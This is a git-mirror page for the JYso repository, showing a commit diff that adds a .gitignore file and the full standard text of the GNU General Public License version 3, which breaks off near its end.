mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
chore: delete CB2 CB4
This commit is contained in:
@@ -0,0 +1,5 @@
|
|||||||
|
.idea/
|
||||||
|
.gradle/
|
||||||
|
out/
|
||||||
|
.DS_Store
|
||||||
|
/build
|
||||||
+674
@@ -0,0 +1,674 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 3, 29 June 2007
|
||||||
|
|
||||||
|
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
software and other kinds of works.
|
||||||
|
|
||||||
|
The licenses for most software and other practical works are designed
|
||||||
|
to take away your freedom to share and change the works. By contrast,
|
||||||
|
the GNU General Public License is intended to guarantee your freedom to
|
||||||
|
share and change all versions of a program--to make sure it remains free
|
||||||
|
software for all its users. We, the Free Software Foundation, use the
|
||||||
|
GNU General Public License for most of our software; it applies also to
|
||||||
|
any other work released this way by its authors. You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
them if you wish), that you receive source code or can get it if you
|
||||||
|
want it, that you can change the software or use pieces of it in new
|
||||||
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to prevent others from denying you
|
||||||
|
these rights or asking you to surrender the rights. Therefore, you have
|
||||||
|
certain responsibilities if you distribute copies of the software, or if
|
||||||
|
you modify it: responsibilities to respect the freedom of others.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must pass on to the recipients the same
|
||||||
|
freedoms that you received. You must make sure that they, too, receive
|
||||||
|
or can get the source code. And you must show them these terms so they
|
||||||
|
know their rights.
|
||||||
|
|
||||||
|
Developers that use the GNU GPL protect your rights with two steps:
|
||||||
|
(1) assert copyright on the software, and (2) offer you this License
|
||||||
|
giving you legal permission to copy, distribute and/or modify it.
|
||||||
|
|
||||||
|
For the developers' and authors' protection, the GPL clearly explains
|
||||||
|
that there is no warranty for this free software. For both users' and
|
||||||
|
authors' sake, the GPL requires that modified versions be marked as
|
||||||
|
changed, so that their problems will not be attributed erroneously to
|
||||||
|
authors of previous versions.
|
||||||
|
|
||||||
|
Some devices are designed to deny users access to install or run
|
||||||
|
modified versions of the software inside them, although the manufacturer
|
||||||
|
can do so. This is fundamentally incompatible with the aim of
|
||||||
|
protecting users' freedom to change the software. The systematic
|
||||||
|
pattern of such abuse occurs in the area of products for individuals to
|
||||||
|
use, which is precisely where it is most unacceptable. Therefore, we
|
||||||
|
have designed this version of the GPL to prohibit the practice for those
|
||||||
|
products. If such problems arise substantially in other domains, we
|
||||||
|
stand ready to extend this provision to those domains in future versions
|
||||||
|
of the GPL, as needed to protect the freedom of users.
|
||||||
|
|
||||||
|
Finally, every program is threatened constantly by software patents.
|
||||||
|
States should not allow patents to restrict development and use of
|
||||||
|
software on general-purpose computers, but in those that do, we wish to
|
||||||
|
avoid the special danger that patents applied to a free program could
|
||||||
|
make it effectively proprietary. To prevent this, the GPL assures that
|
||||||
|
patents cannot be used to render the program non-free.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
0. Definitions.
|
||||||
|
|
||||||
|
"This License" refers to version 3 of the GNU General Public License.
|
||||||
|
|
||||||
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
|
works, such as semiconductor masks.
|
||||||
|
|
||||||
|
"The Program" refers to any copyrightable work licensed under this
|
||||||
|
License. Each licensee is addressed as "you". "Licensees" and
|
||||||
|
"recipients" may be individuals or organizations.
|
||||||
|
|
||||||
|
To "modify" a work means to copy from or adapt all or part of the work
|
||||||
|
in a fashion requiring copyright permission, other than the making of an
|
||||||
|
exact copy. The resulting work is called a "modified version" of the
|
||||||
|
earlier work or a work "based on" the earlier work.
|
||||||
|
|
||||||
|
A "covered work" means either the unmodified Program or a work based
|
||||||
|
on the Program.
|
||||||
|
|
||||||
|
To "propagate" a work means to do anything with it that, without
|
||||||
|
permission, would make you directly or secondarily liable for
|
||||||
|
infringement under applicable copyright law, except executing it on a
|
||||||
|
computer or modifying a private copy. Propagation includes copying,
|
||||||
|
distribution (with or without modification), making available to the
|
||||||
|
public, and in some countries other activities as well.
|
||||||
|
|
||||||
|
To "convey" a work means any kind of propagation that enables other
|
||||||
|
parties to make or receive copies. Mere interaction with a user through
|
||||||
|
a computer network, with no transfer of a copy, is not conveying.
|
||||||
|
|
||||||
|
An interactive user interface displays "Appropriate Legal Notices"
|
||||||
|
to the extent that it includes a convenient and prominently visible
|
||||||
|
feature that (1) displays an appropriate copyright notice, and (2)
|
||||||
|
tells the user that there is no warranty for the work (except to the
|
||||||
|
extent that warranties are provided), that licensees may convey the
|
||||||
|
work under this License, and how to view a copy of this License. If
|
||||||
|
the interface presents a list of user commands or options, such as a
|
||||||
|
menu, a prominent item in the list meets this criterion.
|
||||||
|
|
||||||
|
1. Source Code.
|
||||||
|
|
||||||
|
The "source code" for a work means the preferred form of the work
|
||||||
|
for making modifications to it. "Object code" means any non-source
|
||||||
|
form of a work.
|
||||||
|
|
||||||
|
A "Standard Interface" means an interface that either is an official
|
||||||
|
standard defined by a recognized standards body, or, in the case of
|
||||||
|
interfaces specified for a particular programming language, one that
|
||||||
|
is widely used among developers working in that language.
|
||||||
|
|
||||||
|
The "System Libraries" of an executable work include anything, other
|
||||||
|
than the work as a whole, that (a) is included in the normal form of
|
||||||
|
packaging a Major Component, but which is not part of that Major
|
||||||
|
Component, and (b) serves only to enable use of the work with that
|
||||||
|
Major Component, or to implement a Standard Interface for which an
|
||||||
|
implementation is available to the public in source code form. A
|
||||||
|
"Major Component", in this context, means a major essential component
|
||||||
|
(kernel, window system, and so on) of the specific operating system
|
||||||
|
(if any) on which the executable work runs, or a compiler used to
|
||||||
|
produce the work, or an object code interpreter used to run it.
|
||||||
|
|
||||||
|
The "Corresponding Source" for a work in object code form means all
|
||||||
|
the source code needed to generate, install, and (for an executable
|
||||||
|
work) run the object code and to modify the work, including scripts to
|
||||||
|
control those activities. However, it does not include the work's
|
||||||
|
System Libraries, or general-purpose tools or generally available free
|
||||||
|
programs which are used unmodified in performing those activities but
|
||||||
|
which are not part of the work. For example, Corresponding Source
|
||||||
|
includes interface definition files associated with source files for
|
||||||
|
the work, and the source code for shared libraries and dynamically
|
||||||
|
linked subprograms that the work is specifically designed to require,
|
||||||
|
such as by intimate data communication or control flow between those
|
||||||
|
subprograms and other parts of the work.
|
||||||
|
|
||||||
|
The Corresponding Source need not include anything that users
|
||||||
|
can regenerate automatically from other parts of the Corresponding
|
||||||
|
Source.
|
||||||
|
|
||||||
|
The Corresponding Source for a work in source code form is that
|
||||||
|
same work.
|
||||||
|
|
||||||
|
2. Basic Permissions.
|
||||||
|
|
||||||
|
All rights granted under this License are granted for the term of
|
||||||
|
copyright on the Program, and are irrevocable provided the stated
|
||||||
|
conditions are met. This License explicitly affirms your unlimited
|
||||||
|
permission to run the unmodified Program. The output from running a
|
||||||
|
covered work is covered by this License only if the output, given its
|
||||||
|
content, constitutes a covered work. This License acknowledges your
|
||||||
|
rights of fair use or other equivalent, as provided by copyright law.
|
||||||
|
|
||||||
|
You may make, run and propagate covered works that you do not
|
||||||
|
convey, without conditions so long as your license otherwise remains
|
||||||
|
in force. You may convey covered works to others for the sole purpose
|
||||||
|
of having them make modifications exclusively for you, or provide you
|
||||||
|
with facilities for running those works, provided that you comply with
|
||||||
|
the terms of this License in conveying all material for which you do
|
||||||
|
not control copyright. Those thus making or running the covered works
|
||||||
|
for you must do so exclusively on your behalf, under your direction
|
||||||
|
and control, on terms that prohibit them from making any copies of
|
||||||
|
your copyrighted material outside their relationship with you.
|
||||||
|
|
||||||
|
Conveying under any other circumstances is permitted solely under
|
||||||
|
the conditions stated below. Sublicensing is not allowed; section 10
|
||||||
|
makes it unnecessary.
|
||||||
|
|
||||||
|
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||||
|
|
||||||
|
No covered work shall be deemed part of an effective technological
|
||||||
|
measure under any applicable law fulfilling obligations under article
|
||||||
|
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||||
|
similar laws prohibiting or restricting circumvention of such
|
||||||
|
measures.
|
||||||
|
|
||||||
|
When you convey a covered work, you waive any legal power to forbid
|
||||||
|
circumvention of technological measures to the extent such circumvention
|
||||||
|
is effected by exercising rights under this License with respect to
|
||||||
|
the covered work, and you disclaim any intention to limit operation or
|
||||||
|
modification of the work as a means of enforcing, against the work's
|
||||||
|
users, your or third parties' legal rights to forbid circumvention of
|
||||||
|
technological measures.
|
||||||
|
|
||||||
|
4. Conveying Verbatim Copies.
|
||||||
|
|
||||||
|
You may convey verbatim copies of the Program's source code as you
|
||||||
|
receive it, in any medium, provided that you conspicuously and
|
||||||
|
appropriately publish on each copy an appropriate copyright notice;
|
||||||
|
keep intact all notices stating that this License and any
|
||||||
|
non-permissive terms added in accord with section 7 apply to the code;
|
||||||
|
keep intact all notices of the absence of any warranty; and give all
|
||||||
|
recipients a copy of this License along with the Program.
|
||||||
|
|
||||||
|
You may charge any price or no price for each copy that you convey,
|
||||||
|
and you may offer support or warranty protection for a fee.
|
||||||
|
|
||||||
|
5. Conveying Modified Source Versions.
|
||||||
|
|
||||||
|
You may convey a work based on the Program, or the modifications to
|
||||||
|
produce it from the Program, in the form of source code under the
|
||||||
|
terms of section 4, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) The work must carry prominent notices stating that you modified
|
||||||
|
it, and giving a relevant date.
|
||||||
|
|
||||||
|
b) The work must carry prominent notices stating that it is
|
||||||
|
released under this License and any conditions added under section
|
||||||
|
7. This requirement modifies the requirement in section 4 to
|
||||||
|
"keep intact all notices".
|
||||||
|
|
||||||
|
c) You must license the entire work, as a whole, under this
|
||||||
|
License to anyone who comes into possession of a copy. This
|
||||||
|
License will therefore apply, along with any applicable section 7
|
||||||
|
additional terms, to the whole of the work, and all its parts,
|
||||||
|
regardless of how they are packaged. This License gives no
|
||||||
|
permission to license the work in any other way, but it does not
|
||||||
|
invalidate such permission if you have separately received it.
|
||||||
|
|
||||||
|
d) If the work has interactive user interfaces, each must display
|
||||||
|
Appropriate Legal Notices; however, if the Program has interactive
|
||||||
|
interfaces that do not display Appropriate Legal Notices, your
|
||||||
|
work need not make them do so.
|
||||||
|
|
||||||
|
A compilation of a covered work with other separate and independent
|
||||||
|
works, which are not by their nature extensions of the covered work,
|
||||||
|
and which are not combined with it such as to form a larger program,
|
||||||
|
in or on a volume of a storage or distribution medium, is called an
|
||||||
|
"aggregate" if the compilation and its resulting copyright are not
|
||||||
|
used to limit the access or legal rights of the compilation's users
|
||||||
|
beyond what the individual works permit. Inclusion of a covered work
|
||||||
|
in an aggregate does not cause this License to apply to the other
|
||||||
|
parts of the aggregate.
|
||||||
|
|
||||||
|
6. Conveying Non-Source Forms.
|
||||||
|
|
||||||
|
You may convey a covered work in object code form under the terms
|
||||||
|
of sections 4 and 5, provided that you also convey the
|
||||||
|
machine-readable Corresponding Source under the terms of this License,
|
||||||
|
in one of these ways:
|
||||||
|
|
||||||
|
a) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by the
|
||||||
|
Corresponding Source fixed on a durable physical medium
|
||||||
|
customarily used for software interchange.
|
||||||
|
|
||||||
|
b) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by a
|
||||||
|
written offer, valid for at least three years and valid for as
|
||||||
|
long as you offer spare parts or customer support for that product
|
||||||
|
model, to give anyone who possesses the object code either (1) a
|
||||||
|
copy of the Corresponding Source for all the software in the
|
||||||
|
product that is covered by this License, on a durable physical
|
||||||
|
medium customarily used for software interchange, for a price no
|
||||||
|
more than your reasonable cost of physically performing this
|
||||||
|
conveying of source, or (2) access to copy the
|
||||||
|
Corresponding Source from a network server at no charge.
|
||||||
|
|
||||||
|
c) Convey individual copies of the object code with a copy of the
|
||||||
|
written offer to provide the Corresponding Source. This
|
||||||
|
alternative is allowed only occasionally and noncommercially, and
|
||||||
|
only if you received the object code with such an offer, in accord
|
||||||
|
with subsection 6b.
|
||||||
|
|
||||||
|
d) Convey the object code by offering access from a designated
|
||||||
|
place (gratis or for a charge), and offer equivalent access to the
|
||||||
|
Corresponding Source in the same way through the same place at no
|
||||||
|
further charge. You need not require recipients to copy the
|
||||||
|
Corresponding Source along with the object code. If the place to
|
||||||
|
copy the object code is a network server, the Corresponding Source
|
||||||
|
may be on a different server (operated by you or a third party)
|
||||||
|
that supports equivalent copying facilities, provided you maintain
|
||||||
|
clear directions next to the object code saying where to find the
|
||||||
|
Corresponding Source. Regardless of what server hosts the
|
||||||
|
Corresponding Source, you remain obligated to ensure that it is
|
||||||
|
available for as long as needed to satisfy these requirements.
|
||||||
|
|
||||||
|
e) Convey the object code using peer-to-peer transmission, provided
|
||||||
|
you inform other peers where the object code and Corresponding
|
||||||
|
Source of the work are being offered to the general public at no
|
||||||
|
charge under subsection 6d.
|
||||||
|
|
||||||
|
A separable portion of the object code, whose source code is excluded
|
||||||
|
from the Corresponding Source as a System Library, need not be
|
||||||
|
included in conveying the object code work.
|
||||||
|
|
||||||
|
A "User Product" is either (1) a "consumer product", which means any
|
||||||
|
tangible personal property which is normally used for personal, family,
|
||||||
|
or household purposes, or (2) anything designed or sold for incorporation
|
||||||
|
into a dwelling. In determining whether a product is a consumer product,
|
||||||
|
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||||
|
product received by a particular user, "normally used" refers to a
|
||||||
|
typical or common use of that class of product, regardless of the status
|
||||||
|
of the particular user or of the way in which the particular user
|
||||||
|
actually uses, or expects or is expected to use, the product. A product
|
||||||
|
is a consumer product regardless of whether the product has substantial
|
||||||
|
commercial, industrial or non-consumer uses, unless such uses represent
|
||||||
|
the only significant mode of use of the product.
|
||||||
|
|
||||||
|
"Installation Information" for a User Product means any methods,
|
||||||
|
procedures, authorization keys, or other information required to install
|
||||||
|
and execute modified versions of a covered work in that User Product from
|
||||||
|
a modified version of its Corresponding Source. The information must
|
||||||
|
suffice to ensure that the continued functioning of the modified object
|
||||||
|
code is in no case prevented or interfered with solely because
|
||||||
|
modification has been made.
|
||||||
|
|
||||||
|
If you convey an object code work under this section in, or with, or
|
||||||
|
specifically for use in, a User Product, and the conveying occurs as
|
||||||
|
part of a transaction in which the right of possession and use of the
|
||||||
|
User Product is transferred to the recipient in perpetuity or for a
|
||||||
|
fixed term (regardless of how the transaction is characterized), the
|
||||||
|
Corresponding Source conveyed under this section must be accompanied
|
||||||
|
by the Installation Information. But this requirement does not apply
|
||||||
|
if neither you nor any third party retains the ability to install
|
||||||
|
modified object code on the User Product (for example, the work has
|
||||||
|
been installed in ROM).
|
||||||
|
|
||||||
|
The requirement to provide Installation Information does not include a
|
||||||
|
requirement to continue to provide support service, warranty, or updates
|
||||||
|
for a work that has been modified or installed by the recipient, or for
|
||||||
|
the User Product in which it has been modified or installed. Access to a
|
||||||
|
network may be denied when the modification itself materially and
|
||||||
|
adversely affects the operation of the network or violates the rules and
|
||||||
|
protocols for communication across the network.
|
||||||
|
|
||||||
|
Corresponding Source conveyed, and Installation Information provided,
|
||||||
|
in accord with this section must be in a format that is publicly
|
||||||
|
documented (and with an implementation available to the public in
|
||||||
|
source code form), and must require no special password or key for
|
||||||
|
unpacking, reading or copying.
|
||||||
|
|
||||||
|
7. Additional Terms.
|
||||||
|
|
||||||
|
"Additional permissions" are terms that supplement the terms of this
|
||||||
|
License by making exceptions from one or more of its conditions.
|
||||||
|
Additional permissions that are applicable to the entire Program shall
|
||||||
|
be treated as though they were included in this License, to the extent
|
||||||
|
that they are valid under applicable law. If additional permissions
|
||||||
|
apply only to part of the Program, that part may be used separately
|
||||||
|
under those permissions, but the entire Program remains governed by
|
||||||
|
this License without regard to the additional permissions.
|
||||||
|
|
||||||
|
When you convey a copy of a covered work, you may at your option
|
||||||
|
remove any additional permissions from that copy, or from any part of
|
||||||
|
it. (Additional permissions may be written to require their own
|
||||||
|
removal in certain cases when you modify the work.) You may place
|
||||||
|
additional permissions on material, added by you to a covered work,
|
||||||
|
for which you have or can give appropriate copyright permission.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, for material you
|
||||||
|
add to a covered work, you may (if authorized by the copyright holders of
|
||||||
|
that material) supplement the terms of this License with terms:
|
||||||
|
|
||||||
|
a) Disclaiming warranty or limiting liability differently from the
|
||||||
|
terms of sections 15 and 16 of this License; or
|
||||||
|
|
||||||
|
b) Requiring preservation of specified reasonable legal notices or
|
||||||
|
author attributions in that material or in the Appropriate Legal
|
||||||
|
Notices displayed by works containing it; or
|
||||||
|
|
||||||
|
c) Prohibiting misrepresentation of the origin of that material, or
|
||||||
|
requiring that modified versions of such material be marked in
|
||||||
|
reasonable ways as different from the original version; or
|
||||||
|
|
||||||
|
d) Limiting the use for publicity purposes of names of licensors or
|
||||||
|
authors of the material; or
|
||||||
|
|
||||||
|
e) Declining to grant rights under trademark law for use of some
|
||||||
|
trade names, trademarks, or service marks; or
|
||||||
|
|
||||||
|
f) Requiring indemnification of licensors and authors of that
|
||||||
|
material by anyone who conveys the material (or modified versions of
|
||||||
|
it) with contractual assumptions of liability to the recipient, for
|
||||||
|
any liability that these contractual assumptions directly impose on
|
||||||
|
those licensors and authors.
|
||||||
|
|
||||||
|
All other non-permissive additional terms are considered "further
|
||||||
|
restrictions" within the meaning of section 10. If the Program as you
|
||||||
|
received it, or any part of it, contains a notice stating that it is
|
||||||
|
governed by this License along with a term that is a further
|
||||||
|
restriction, you may remove that term. If a license document contains
|
||||||
|
a further restriction but permits relicensing or conveying under this
|
||||||
|
License, you may add to a covered work material governed by the terms
|
||||||
|
of that license document, provided that the further restriction does
|
||||||
|
not survive such relicensing or conveying.
|
||||||
|
|
||||||
|
If you add terms to a covered work in accord with this section, you
|
||||||
|
must place, in the relevant source files, a statement of the
|
||||||
|
additional terms that apply to those files, or a notice indicating
|
||||||
|
where to find the applicable terms.
|
||||||
|
|
||||||
|
Additional terms, permissive or non-permissive, may be stated in the
|
||||||
|
form of a separately written license, or stated as exceptions;
|
||||||
|
the above requirements apply either way.
|
||||||
|
|
||||||
|
8. Termination.
|
||||||
|
|
||||||
|
You may not propagate or modify a covered work except as expressly
|
||||||
|
provided under this License. Any attempt otherwise to propagate or
|
||||||
|
modify it is void, and will automatically terminate your rights under
|
||||||
|
this License (including any patent licenses granted under the third
|
||||||
|
paragraph of section 11).
|
||||||
|
|
||||||
|
However, if you cease all violation of this License, then your
|
||||||
|
license from a particular copyright holder is reinstated (a)
|
||||||
|
provisionally, unless and until the copyright holder explicitly and
|
||||||
|
finally terminates your license, and (b) permanently, if the copyright
|
||||||
|
holder fails to notify you of the violation by some reasonable means
|
||||||
|
prior to 60 days after the cessation.
|
||||||
|
|
||||||
|
Moreover, your license from a particular copyright holder is
|
||||||
|
reinstated permanently if the copyright holder notifies you of the
|
||||||
|
violation by some reasonable means, this is the first time you have
|
||||||
|
received notice of violation of this License (for any work) from that
|
||||||
|
copyright holder, and you cure the violation prior to 30 days after
|
||||||
|
your receipt of the notice.
|
||||||
|
|
||||||
|
Termination of your rights under this section does not terminate the
|
||||||
|
licenses of parties who have received copies or rights from you under
|
||||||
|
this License. If your rights have been terminated and not permanently
|
||||||
|
reinstated, you do not qualify to receive new licenses for the same
|
||||||
|
material under section 10.
|
||||||
|
|
||||||
|
9. Acceptance Not Required for Having Copies.
|
||||||
|
|
||||||
|
You are not required to accept this License in order to receive or
|
||||||
|
run a copy of the Program. Ancillary propagation of a covered work
|
||||||
|
occurring solely as a consequence of using peer-to-peer transmission
|
||||||
|
to receive a copy likewise does not require acceptance. However,
|
||||||
|
nothing other than this License grants you permission to propagate or
|
||||||
|
modify any covered work. These actions infringe copyright if you do
|
||||||
|
not accept this License. Therefore, by modifying or propagating a
|
||||||
|
covered work, you indicate your acceptance of this License to do so.
|
||||||
|
|
||||||
|
10. Automatic Licensing of Downstream Recipients.
|
||||||
|
|
||||||
|
Each time you convey a covered work, the recipient automatically
|
||||||
|
receives a license from the original licensors, to run, modify and
|
||||||
|
propagate that work, subject to this License. You are not responsible
|
||||||
|
for enforcing compliance by third parties with this License.
|
||||||
|
|
||||||
|
An "entity transaction" is a transaction transferring control of an
|
||||||
|
organization, or substantially all assets of one, or subdividing an
|
||||||
|
organization, or merging organizations. If propagation of a covered
|
||||||
|
work results from an entity transaction, each party to that
|
||||||
|
transaction who receives a copy of the work also receives whatever
|
||||||
|
licenses to the work the party's predecessor in interest had or could
|
||||||
|
give under the previous paragraph, plus a right to possession of the
|
||||||
|
Corresponding Source of the work from the predecessor in interest, if
|
||||||
|
the predecessor has it or can get it with reasonable efforts.
|
||||||
|
|
||||||
|
You may not impose any further restrictions on the exercise of the
|
||||||
|
rights granted or affirmed under this License. For example, you may
|
||||||
|
not impose a license fee, royalty, or other charge for exercise of
|
||||||
|
rights granted under this License, and you may not initiate litigation
|
||||||
|
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||||
|
any patent claim is infringed by making, using, selling, offering for
|
||||||
|
sale, or importing the Program or any portion of it.
|
||||||
|
|
||||||
|
11. Patents.
|
||||||
|
|
||||||
|
A "contributor" is a copyright holder who authorizes use under this
|
||||||
|
License of the Program or a work on which the Program is based. The
|
||||||
|
work thus licensed is called the contributor's "contributor version".
|
||||||
|
|
||||||
|
A contributor's "essential patent claims" are all patent claims
|
||||||
|
owned or controlled by the contributor, whether already acquired or
|
||||||
|
hereafter acquired, that would be infringed by some manner, permitted
|
||||||
|
by this License, of making, using, or selling its contributor version,
|
||||||
|
but do not include claims that would be infringed only as a
|
||||||
|
consequence of further modification of the contributor version. For
|
||||||
|
purposes of this definition, "control" includes the right to grant
|
||||||
|
patent sublicenses in a manner consistent with the requirements of
|
||||||
|
this License.
|
||||||
|
|
||||||
|
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||||
|
patent license under the contributor's essential patent claims, to
|
||||||
|
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||||
|
propagate the contents of its contributor version.
|
||||||
|
|
||||||
|
In the following three paragraphs, a "patent license" is any express
|
||||||
|
agreement or commitment, however denominated, not to enforce a patent
|
||||||
|
(such as an express permission to practice a patent or covenant not to
|
||||||
|
sue for patent infringement). To "grant" such a patent license to a
|
||||||
|
party means to make such an agreement or commitment not to enforce a
|
||||||
|
patent against the party.
|
||||||
|
|
||||||
|
If you convey a covered work, knowingly relying on a patent license,
|
||||||
|
and the Corresponding Source of the work is not available for anyone
|
||||||
|
to copy, free of charge and under the terms of this License, through a
|
||||||
|
publicly available network server or other readily accessible means,
|
||||||
|
then you must either (1) cause the Corresponding Source to be so
|
||||||
|
available, or (2) arrange to deprive yourself of the benefit of the
|
||||||
|
patent license for this particular work, or (3) arrange, in a manner
|
||||||
|
consistent with the requirements of this License, to extend the patent
|
||||||
|
license to downstream recipients. "Knowingly relying" means you have
|
||||||
|
actual knowledge that, but for the patent license, your conveying the
|
||||||
|
covered work in a country, or your recipient's use of the covered work
|
||||||
|
in a country, would infringe one or more identifiable patents in that
|
||||||
|
country that you have reason to believe are valid.
|
||||||
|
|
||||||
|
If, pursuant to or in connection with a single transaction or
|
||||||
|
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||||
|
covered work, and grant a patent license to some of the parties
|
||||||
|
receiving the covered work authorizing them to use, propagate, modify
|
||||||
|
or convey a specific copy of the covered work, then the patent license
|
||||||
|
you grant is automatically extended to all recipients of the covered
|
||||||
|
work and works based on it.
|
||||||
|
|
||||||
|
A patent license is "discriminatory" if it does not include within
|
||||||
|
the scope of its coverage, prohibits the exercise of, or is
|
||||||
|
conditioned on the non-exercise of one or more of the rights that are
|
||||||
|
specifically granted under this License. You may not convey a covered
|
||||||
|
work if you are a party to an arrangement with a third party that is
|
||||||
|
in the business of distributing software, under which you make payment
|
||||||
|
to the third party based on the extent of your activity of conveying
|
||||||
|
the work, and under which the third party grants, to any of the
|
||||||
|
parties who would receive the covered work from you, a discriminatory
|
||||||
|
patent license (a) in connection with copies of the covered work
|
||||||
|
conveyed by you (or copies made from those copies), or (b) primarily
|
||||||
|
for and in connection with specific products or compilations that
|
||||||
|
contain the covered work, unless you entered into that arrangement,
|
||||||
|
or that patent license was granted, prior to 28 March 2007.
|
||||||
|
|
||||||
|
Nothing in this License shall be construed as excluding or limiting
|
||||||
|
any implied license or other defenses to infringement that may
|
||||||
|
otherwise be available to you under applicable patent law.
|
||||||
|
|
||||||
|
12. No Surrender of Others' Freedom.
|
||||||
|
|
||||||
|
If conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot convey a
|
||||||
|
covered work so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you may
|
||||||
|
not convey it at all. For example, if you agree to terms that obligate you
|
||||||
|
to collect a royalty for further conveying from those to whom you convey
|
||||||
|
the Program, the only way you could satisfy both those terms and this
|
||||||
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
|
13. Use with the GNU Affero General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, you have
|
||||||
|
permission to link or combine any covered work with a work licensed
|
||||||
|
under version 3 of the GNU Affero General Public License into a single
|
||||||
|
combined work, and to convey the resulting work. The terms of this
|
||||||
|
License will continue to apply to the part which is the covered work,
|
||||||
|
but the special requirements of the GNU Affero General Public License,
|
||||||
|
section 13, concerning interaction through a network will apply to the
|
||||||
|
combination as such.
|
||||||
|
|
||||||
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
|
the GNU General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the
|
||||||
|
Program specifies that a certain numbered version of the GNU General
|
||||||
|
Public License "or any later version" applies to it, you have the
|
||||||
|
option of following the terms and conditions either of that numbered
|
||||||
|
version or of any later version published by the Free Software
|
||||||
|
Foundation. If the Program does not specify a version number of the
|
||||||
|
GNU General Public License, you may choose any version ever published
|
||||||
|
by the Free Software Foundation.
|
||||||
|
|
||||||
|
If the Program specifies that a proxy can decide which future
|
||||||
|
versions of the GNU General Public License can be used, that proxy's
|
||||||
|
public statement of acceptance of a version permanently authorizes you
|
||||||
|
to choose that version for the Program.
|
||||||
|
|
||||||
|
Later license versions may give you additional or different
|
||||||
|
permissions. However, no additional obligations are imposed on any
|
||||||
|
author or copyright holder as a result of your choosing to follow a
|
||||||
|
later version.
|
||||||
|
|
||||||
|
15. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||||
|
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||||
|
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||||
|
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||||
|
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||||
|
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||||
|
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
16. Limitation of Liability.
|
||||||
|
|
||||||
|
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||||
|
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||||
|
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||||
|
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||||
|
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||||
|
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||||
|
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||||
|
SUCH DAMAGES.
|
||||||
|
|
||||||
|
17. Interpretation of Sections 15 and 16.
|
||||||
|
|
||||||
|
If the disclaimer of warranty and limitation of liability provided
|
||||||
|
above cannot be given local legal effect according to their terms,
|
||||||
|
reviewing courts shall apply local law that most closely approximates
|
||||||
|
an absolute waiver of all civil liability in connection with the
|
||||||
|
Program, unless a warranty or assumption of liability accompanies a
|
||||||
|
copy of the Program in return for a fee.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
